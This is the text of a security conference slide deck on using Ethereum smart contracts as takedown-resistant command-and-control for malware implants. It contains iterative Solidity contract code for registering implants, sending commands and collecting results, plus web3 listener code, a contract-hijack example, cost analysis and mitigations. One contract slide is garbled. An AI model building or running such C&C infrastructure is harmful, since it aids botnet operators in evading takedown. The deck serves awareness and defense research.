Unblockable Chains

Is Blockchain the ultimate malicious infrastructure?

Omer Zohar
#WhoAmI

- Researching malware backbones for the past decade
- Following blockchain eco-system since 2013
- Finally had some spare time between jobs
- And a new member had joined my team
- So, Credit is not all mine...

- Thanks To Amir Sagie – freelance hacker @ TAMI (unstoppable@taproot.cat)

Email: omerzohar@gmail.com
Twitter: @platdrag
LinkedIn: linkedin.com/in/omerzohar
GitHub: github.com/platdrag
Malicious Infrastructure – Roles

- Implant generation
- Deliver Implants to an unknown and hostile environment
- Making first contact
- Receive, execute, exfiltrate.
- Maintain contact over long period
- Mass control
The Ultimate Infrastructure

- **Secure communications** — Immune to data modifications, eavesdropping, MITM, replay attacks
- **High availability** — node can always find the C&C
- **Scalable** — Can support any number of implants and any load of transactions.
- **Authentication** — Only valid implants can connect, And only once. Resist replays, honeypotting.
- **Anonymity** — No info can be gained on network operators.
- **Zero data leakage** — No data can be gathered on other implants, data or network structure.
- **Takedown resistant** — No single point of failure. Fully TNO.
- **Takeover resistant** — No vulnerabilities or logic path that allows adversarial control of network.
- **Low operational costs**

Almost all fail on one or more account. How will a blockchain based infrastructure fare?
Blockchain

The blockchain is a decentralized, authenticated, write once ledger of transactions, providing transparency by being public, authentication via cryptography and security by being unmodifiable.
Blockchain
“Ethereum is a **decentralized platform that runs smart contracts:** applications that run exactly as programmed without any possibility of downtime, censorship, fraud or third-party interference” – www.ethereum.org

- **Popular.** largest blockchain (>27K nodes). Yes, it has more nodes than bitcoin
- **Smart Contracts (EVM).** Scripting functionality and storage
- **Encrypted Communications.** DevP2P over RLPx (kadmillia) P2P network.
- **Ether.** The crypto coin that drives the platform
Connecting the dots

Operator

Generate implant:
- Create wallet (keypair)
- Authorize access in contract
- Transfer funds
- Pack

Run locally

Unlock

Owner Wallet

Control Panel

Smart Contract

Ethereum Node
- Full
- "Light"

Syncs Blockchain

24H, mem: 1G, disk: 30G, util: 95%

1H, mem: 300MB, disk: 290M, util: 0.5%

Initial registration
Get new command to execute
Send execution results

Deploy

Fetch results

Generate implant:
- Create wallet (keypair)
- Authorize access in contract
- Transfer funds
- Pack

Remote Machine

Control Panel

Implant

Implant Wallet

Config

Run locally

Initial registration
Get new command to execute
Send execution results

Deploy

Fetch results

Deploy

And then some Magic happens...

Blockchain Transaction
Writing an unstoppable CnC smart contract

Attempt #1: Let’s get our hands dirty

```
pragma solidity ^0.4.0;

contract UnstoppableCnC {

    enum InstanceStates {
        NotExist, Inactive, Active, Disabled
    }

    struct Instance{
        bytes20 sessionId;
        InstanceStates state;
    }

    string constant NO_COMMAND = 'NA';

    struct CommandResult {
        bytes20 idHash;
        string command;
        string result;
    }

    mapping (address -> Instance) instances;
    mapping (address -> CommandResult) commands;

    address public owner;
    string public ownerPubKey;
    uint public creationTime;
    CommandResult [] results;

    function UnstoppableCnC ()
    public {
        owner = msg.sender;
        creationTime = now;
    }

    modifier onlyBy(address _account){
        require(msg.sender == _account);
        _;
    }

    function allowInstance (address instanceId)
    public onlyBy(owner) returns (bool success) {
        instances[instanceId] =
            Instance({ sessionId: 0, state: InstanceStates.Inactive });
        return true;
    }

    function registerInstance(string machineId) public returns (bytes20){
        require (instances[msg.sender].state == InstanceStates.Inactive);
        string memory nonce = "abcd";
        bytes20 sessionId = ripemd160(msg.sender , machineId, nonce);
        instances[msg.sender].state = InstanceStates.Active;
        instances[msg.sender].sessionId = sessionId;

        return sessionId;
    }
}
```
Transaction, Calls, Event logs

Q: What this call returns?

```python
result = contract.registerInstance(machineId='aabbcc', transact={'from': implantAddress, 'gas': 30000})
```

- Transaction: Changes the state of the EVM.
  - It takes time...
  - ...and cost Ether.
  - Changes available after transaction confirmed and finalized into a block.

A: Transaction Hash

- Hash used to fetch transaction receipt
- Every transaction has a log permanently* and immutably stored on the blockchain
- Data can be emitted from contract using event logs

*May be pruned in future versions.
Writing an unstoppable CnC smart contract

Attempt #2: Getting warmer...

```
pragma solidity ^0.4.0;

contract UnstopableCnC {
    enum InstanceStates {
    }

    struct Instance{
        bytes20 sessionId;
        InstanceStates state;
    }

    event InstanceRegistered (address indexed instance, bytes20 sessionId);

    string constant NO_COMMAND = 'NA';
    struct CommandResult {
    }

    mapping (address => Instance) instances;
    mapping (address => CommandResult) commands;

    address public owner;
    string public ownerPubKey;
    uint public creationTime;
    CommandResult [] results;

    function UnstopableCnC ()
    public {
    }

    modifier onlyBy(address _account) {
    }

    function allowInstance (address instanceId)
    public onlyBy(owner) returns (bool success) {
    }

    function registerInstance(string machineId) public returns (bytes20){
        require (instances[msg.sender].state == InstanceStates.Inactive);
        string memory nonce = "abcd";
        bytes20 sessionId = ripemd160(msg.sender , machineId, nonce);
        instances[msg.sender].state = InstanceStates.Active;
        instances[msg.sender].sessionId = sessionId;
        InstanceRegistered(msg.sender, sessionId);
    }
}
```

Create a filter on the blockchain and extract data from log:

```
filter = web3.eth.filter(
    {'address': contractAddress, 'topics': [eventHash, implantAddress]})
# ...wait for transaction to be confirmed...
tx = filter.get(True)
args = tx['logs'][0]['data']
sessionId = parseArgs(args, 'sessionId')
```
How much?!
Cost of storage and transactions on the EVM

- Operations on the EVM costs gas
- Every byte-code operation cost is listed on the Ethereum yellow paper: yellowpaper.io
  - SSTORE: 20000
- Transaction cost in Ether = gas \times gasPrice
  - gasPrice average: 2 Gwei* -> confirmation time: ~3.5 min
  - gasPrice fast: 20: Gwei* -> confirmation time: ~30 sec
- cost of writing a WORD (32 bytes): 20000 gas = 0.00004 ETH (~0.01$)
- cost of writing 1MB: 32768 * 20000 gas = 13.1072 ETH (3006.8$)

Writing unbounded strings of data to the blockchain just to transfer it to implants (and vice versa) is a total waste!
How much?!
Cost of storage and transactions on the EVM

• There's a cheaper way to write data in the blockchain - Event logs!

• cost of writing data in a transaction:
  – txdatanonzero = 68 gas for non zero bytes
  – txdatazero = 4 gas for zero bytes

• If data is not needed from inside the EVM (it's not)

• Data size does not exceed maximum gas in block
  – currently 7,996,493 gas or ~117.5KB or 0.159 ETH

• Writing 1MB using event logs: 1.46875 ETH, almost 10 fold less!
Writing an unstoppable CnC smart contract

Attempt #3: Messaging on the cheap!

```
pragma solidity ^0.4.0;

contract UnstoppableCnC {
    address public owner;
    string public ownerPubKey;
    uint public creationTime;

    enum InstanceStates { NotExist, Inactive, Active, Disabled }

    struct Instance { InstanceStates state; }

    mapping (address => Instance) public instances;

    function registerInstance(string machineId)
    public onlyByValidInstanceState(msg.sender, InstanceStates.Inactive) {
        RegistrationRequest(machineId);
    }

    function registrationConfirmation(address instance, string sessionId)
    public onlyBy(owner){
        instances[instance].state = InstanceStates.Active;
        InstanceRegistered(instance, sessionId);
    }

    function addWork (address instance, string command, uint16 cmdId)
    public onlyBy(owner)
    onlyByValidInstanceState(instance, InstanceStates.Active) {
        CommandPending(instance, command, cmdId);
    }

    function uploadWorkResults (string sessionId, string result, uint16 cmdId)
    public onlyByValidInstanceState(msg.sender, InstanceStates.Active) {
        CommandResult(sessionId, result, cmdId);
    }

    function allowInstance (address instance) public onlyBy(owner) {

    }

    function UnstoppableCnC (string pubkey) public {
    }

    modifier onlyBy(address _account) {
    }

    modifier onlyByValidInstanceState(address instance, InstanceStates state) {
    }
```
What??? Anyone can see my stuff?!

Transparency on the blockchain.

ON THE BLOCKCHAIN

Everybody knows you're a cat.
What??? Anyone can see my stuff?!

Transparency on the blockchain.

- Contract bytecode is available and can be reversed
What?? Anyone can see my stuff?!

Transparency on the blockchain.

- Contract bytecode is available and can be reversed
- **Contract storage current state can be easily read**

```javascript
web3.eth.getStorageAt('0x634f5758102a6b78dada736307f72d9e868bf713',0)
| '0x0000000000000000000000000000000000000000fc1c1fc057a17dda1b6b67e423b059abbb62f64e' |

↑

address public owner;
```

- Retrieving old or altered data can be done by syncing a node to the right block when data was available
What??? Anyone can see my stuff?!
Transparency on the blockchain.

- Function Call arguments can be read from transaction inputs

```javascript
web3.eth.getTransaction('0xd087d3c18d6c9d6d6b9c129f1983168f5dd2d2b9f335cd815aff66775aedca0497')
```

- Function identification:
  ```javascript
  web3.sha3(b'addWork(address,string,uint16)')
  ```

Arg 0: address instance

Arg 1: command.
  `'netstat -nao | findstr LISTENING'`
What??? Anyone can see my stuff?!

Transparency on the blockchain.

- Contract bytecode is available and can be reversed
- Contract storage current state can be easily read
- Function Call arguments can be read in the transaction inputs
- Data in Event logs can be read from transaction receipt
Data leakage and replay attacks

In current implementation, our contract:

• Leaking all:
  – All allowed implants
  – Activated implants and their SessionIds
  – Command sent and replies => Reveal metadata

• Honeypot any implant and Replay any command
  – Just fake any machineld if unregistered
  – Capture sessionId to transfer a registered implant to another machine
  – Get commands and issue command replies on its behalf
pragma solidity ^0.4.0;

contract UnstoppableCnC {
    address public owner;
    string public ownerPubKey;
    uint public creationTime;

    enum InstanceStates { NotExist, Inactive, Active, Disabled }

    struct Instance { InstanceStates state; }

    mapping (bytes32 => Instance) public instances;

    /* events triggered by Client */
    event RegistrationRequest (string machineId);
    event CommandResult (bytes32 sessionAndMachineIdHash, string commandResult, uint16 cmdId);
    /* events triggered by Server */
    event InstanceRegistered (bytes32 indexed instanceHash, string sessionId);
    event CommandPending (bytes32 indexed instanceHash, string command, uint16 cmdId);

    function UnstoppableCnC (string pubkey) public {
        modifier onlyBy(address _account){
            modifier onlyByValidInstanceState(bytes32 instanceHash, InstanceStates state){
                public registrationConfirmation(bytes32 instanceHash, string sessionId){
                    public onlyBy(owner){
                        instances[instanceHash].state = InstanceStates.Active;
                        InstanceRegistered(instanceHash, sessionId);
                    }
                }

                function uploadWorkResults (bytes32 sessionAndMachineIdHash, string result, uint16 cmdId)
                public onlyByValidInstanceState(keccak256(msg.sender), InstanceStates.Active) {
                    CommandResult(sessionAndMachineIdHash, result, cmdId);
                }

                function allowInstance (bytes32 instanceHash)
                public onlyBy(owner) payable {
                    instances[instanceHash] = Instance({ state: InstanceStates.Inactive });
                }

                function addWork (bytes32 instanceHash, string command, uint16 cmdId)
                public onlyBy(owner)
                onlyByValidInstanceState(instanceHash, InstanceStates.Active) {
                    CommandPending(instanceHash, command, cmdId);
                }

            }
        }
    }
}
Takedowns, takeovers

• Blockchain is immutable => Impossible
Takedowns and Takeovers

• Blockchain is immutable => Impossible
• Unless Hard Fork
• Unless...

• Solidity allows you to shoot yourself in the foot in many ways
  – ... Which leads to takeovers, breaches
  – Dao, Parity multisig
  – Recent study find thousands of vulnerable contracts using byte code analysis*

*Finding The Greedy, Prodigal, and Suicidal Contracts at Scale, Feb 2018
A Small mistake that will ruin your day

a true story...

Let’s take a look at how an implant implements the event log filter to watch for new commands:

```javascript
implantAddress='0x...'

let eventHash = web3.sha3(encode_hex('CommandPending(bytes32,string,uint16)'))

let filter = web3.eth.filter({'topics': [eventHash, implantAddress]})

filter.watch(callback)
```

What’s wrong with this?

Let’s say someone deploys a new contract:

```javascript
contract EvilCnC {
    event CommandPending (bytes32 indexed instanceHash, string command, uint16 cmdId);

    function addWork (bytes32 instanceHash, string command, uint16 cmdId) public {
        CommandPending(instanceHash, command, cmdId);
    }
}
```

And then executes it:

```
cmdId = 1

let cmd = 'dir /s c:\'  // command that returns a large data

contract.addWork(implantAddress, cmd, cmdId, transact={'from': someAddress})
```
A Small mistake that will ruin your day
a true story...

• Well, apparently this caused our listener to trigger...
• Which lead to
  • Implant ran unauthorized command
  • Implant returns the results to operator:
    • Spend Ether
    • Arbitrary data controlled by the attacker...
    • Reveal bot details

• Call it a “side contract attack”

• Fix is quite simple:

```python
filter = web3.eth.filter({'address': contractAddress}
                         'topics': [eventHash, implantAddress]}
```
## Overall Cost

- **Constant Costs**

<table>
<thead>
<tr>
<th>Tx Type</th>
<th>Gas used</th>
<th>Cost ETH</th>
<th>Cost USD$</th>
</tr>
</thead>
<tbody>
<tr>
<td>Contract Deploy</td>
<td>1,159,541</td>
<td>0.0046392</td>
<td>1.06</td>
</tr>
<tr>
<td>Initial implant registration (Registration + confirmation)</td>
<td>63,602</td>
<td>0.00025</td>
<td>0.57</td>
</tr>
</tbody>
</table>

- **command roundtrips – Varies with data size**

<table>
<thead>
<tr>
<th>Command, Result</th>
<th>Gas used</th>
<th>Cost ETH</th>
<th>Cost USD$</th>
</tr>
</thead>
<tbody>
<tr>
<td>Command 32b, Result 256b</td>
<td>79,472</td>
<td>0.00032</td>
<td>0.073</td>
</tr>
<tr>
<td>Command 32b, Result 8Kb</td>
<td>683,619</td>
<td>0.00261</td>
<td>0.6</td>
</tr>
<tr>
<td>Command 32b, Result 20Kb</td>
<td>1,634,943</td>
<td>0.00642</td>
<td>1.47</td>
</tr>
</tbody>
</table>

Cost per byte is ~ 80 gas (0.00015$)

- **Even If we put commands and results off chain and only put a 256b hash:**

<table>
<thead>
<tr>
<th>Command, Result</th>
<th>Gas used</th>
<th>Cost ETH</th>
<th>Cost USD$</th>
</tr>
</thead>
<tbody>
<tr>
<td>Command 256b, Result 256b</td>
<td>99,216</td>
<td>0.0004</td>
<td>0.092</td>
</tr>
</tbody>
</table>

- **Yearly cost (Avg 3 commands / day) per implant: 100.7$**

---

Date 01.10.18

gasPrice = 4 Gwei (2x avg tx price)
Avg confirmation time: 56 sec
ETH ~ = 229$
Demo Time!
This site can’t be reached

127.0.0.1 refused to connect.

Try:
- Checking the connection
- Checking the proxy and the firewall

DETAILS
Blockchain: The Ultimate Infrastructure?

- Secure communications
- High availability
- Scalable
- Authentication
- Anonymity
- No data leakage
- Takedown resistant
- Takeover resistant
- Low operational costs
Blockchain: The Ultimate Infrastructure?

- Secure communications
  - State-of-the-art P2P network (thousands of nodes)
  - Fully encrypted wire protocol
- High availability
- Scalable
- Authentication
- Anonymity
- No data leakage
- Takedown resistant
- Takeover resistant
- Low operational costs
Blockchain: The Ultimate Infrastructure?

- Secure communications ✓
- High availability ✓
  - Thousands of peers around the globe. Blocking means no service.
  - Blockchain is immutable. Contract cannot be modified once deployed
- Scalable
- Authentication
- Anonymity
- No data leakage
- Takedown resistant
- Takeover resistant
- Low operational costs
Blockchain: The Ultimate Infrastructure?

- Secure communications ✓
- High availability ✓
- Scalable 🟢
  - Infrastructure can support any number of nodes
  - Ethereum network has a scaling problem - Transaction times are getting higher (avg 2 min)
  - Implant must be uniquely generated (needs a wallet per instance)
  - Implant Footprint - even with "light node" - is high (in cpu, disk and mem)
- Authentication 🟢
- Anonymity 🟢
- No data leakage 🟢
- Takedown resistant 🟢
- Takeover resistant 🟢
- Low operational costs 🟢
Blockchain: The Ultimate Infrastructure?

- Secure communications ✓
- High availability ✓
- Scalable ✓
- Authentication ✓
  - Blockchain guarantees implant accounting to be correct
  - Registration process ties implant to destination machine
  - Control over wallet and generated sessionId guarantee protection from request forgery and replay attack
- Anonymity❓
- No data leakage❓
- Takedown resistant❓
- Takeover resistant❓
- Low operational costs❓
Blockchain: The Ultimate Infrastructure?

• Secure communications ✔
• High availability ✔
• Scalable ✔
• Authentication ✔
• Anonymity ✔
  – No way to know which node a transaction was transmitted from
  – Hard to know who’s behind a wallet address
• No data leakage ❓
• Takedown resistant ❓
• Takeover resistant ❓
• Low operational costs ❓
Blockchain: The Ultimate Infrastructure?

• Secure communications ✓
• High availability ✓
• Scalable ✓
• Authentication ✓
• Anonymity ✓
• No data leakage ✓
  – Blockchain data is public, but encryption and address hashing solves the problem
  – All that can be knowns is list of addresses that interacted with the contract
  – And the contract byte code
  – Single implant can be reversed to extract all config – but not further leakage!
• Takedown resistant ?
• Takeover resistant ?
• Low operational costs ?
Blockchain: The Ultimate Infrastructure?

• Secure communications ✓
• High availability ✓
• Scalable ✓
• Authentication ✓
• Anonymity ✓
• No data leakage ✓
• Takedown resistant ✓
  – Decentralized - No governing authority (In theory...)
  – Contract cannot be killed (If code was well proofed)
• Takeover resistant ?
• Low operational costs ?
Blockchain: The Ultimate Infrastructure?

- Secure communications✓
- High availability✓
- Scalable✓
- Authentication✓
- Anonymity✓
- No data leakage✓
- Takedown resistant✓
- Takeover resistant✓ – Blockchain guarantee only operator can control contract (unless he shot himself in the foot...)
- Low operational costs?
Blockchain: The Ultimate Infrastructure?

• Secure communications ✔
• High availability ✔
• Scalable ✔
• Authentication ✔
• Anonymity ✔
• No data leakage ✔
• Takedown resistant ✔
• Takeover resistant ✔
• Low operational costs ❌
  – Ether today is way too expansive! Alternative chains? (Caradano, NEO and EOS, Ethereum Classic)
  – No flat cost. paying for every byte sent on chain
  – Some Ether must be sent with each implant - Risk!
Blockchain: The Ultimate Infrastructure?

• Secure communications ✓
• High availability ✓
• Scalable ✓
• Authentication ✓
• Anonymity ✓
• No data leakage ✓
• Takedown resistant ✓
• Takeover resistant ✓
• Low operational costs ✗
Mitigation?

• A: Block the entire Ethereum network

OR

• B: Use Custom node with blacklists
  – Allow only connections from custom nodes in firewall
Finally...

- **POC repo:** [github.com/platdrag/UnblockableChains](github.com/platdrag/UnblockableChains)
- Contract is at 0x634f5758102A6b78DAd736307F72dAAE868Bf713 on Rinkeby Testnet
  - [https://www.rinkeby.io/#explorer](https://www.rinkeby.io/#explorer)
- Follow me on [twitter: @platdrag](twitter: @platdrag) or #UnblockableChains
- Feedback: [OmerZohar@gmail.com](OmerZohar@gmail.com)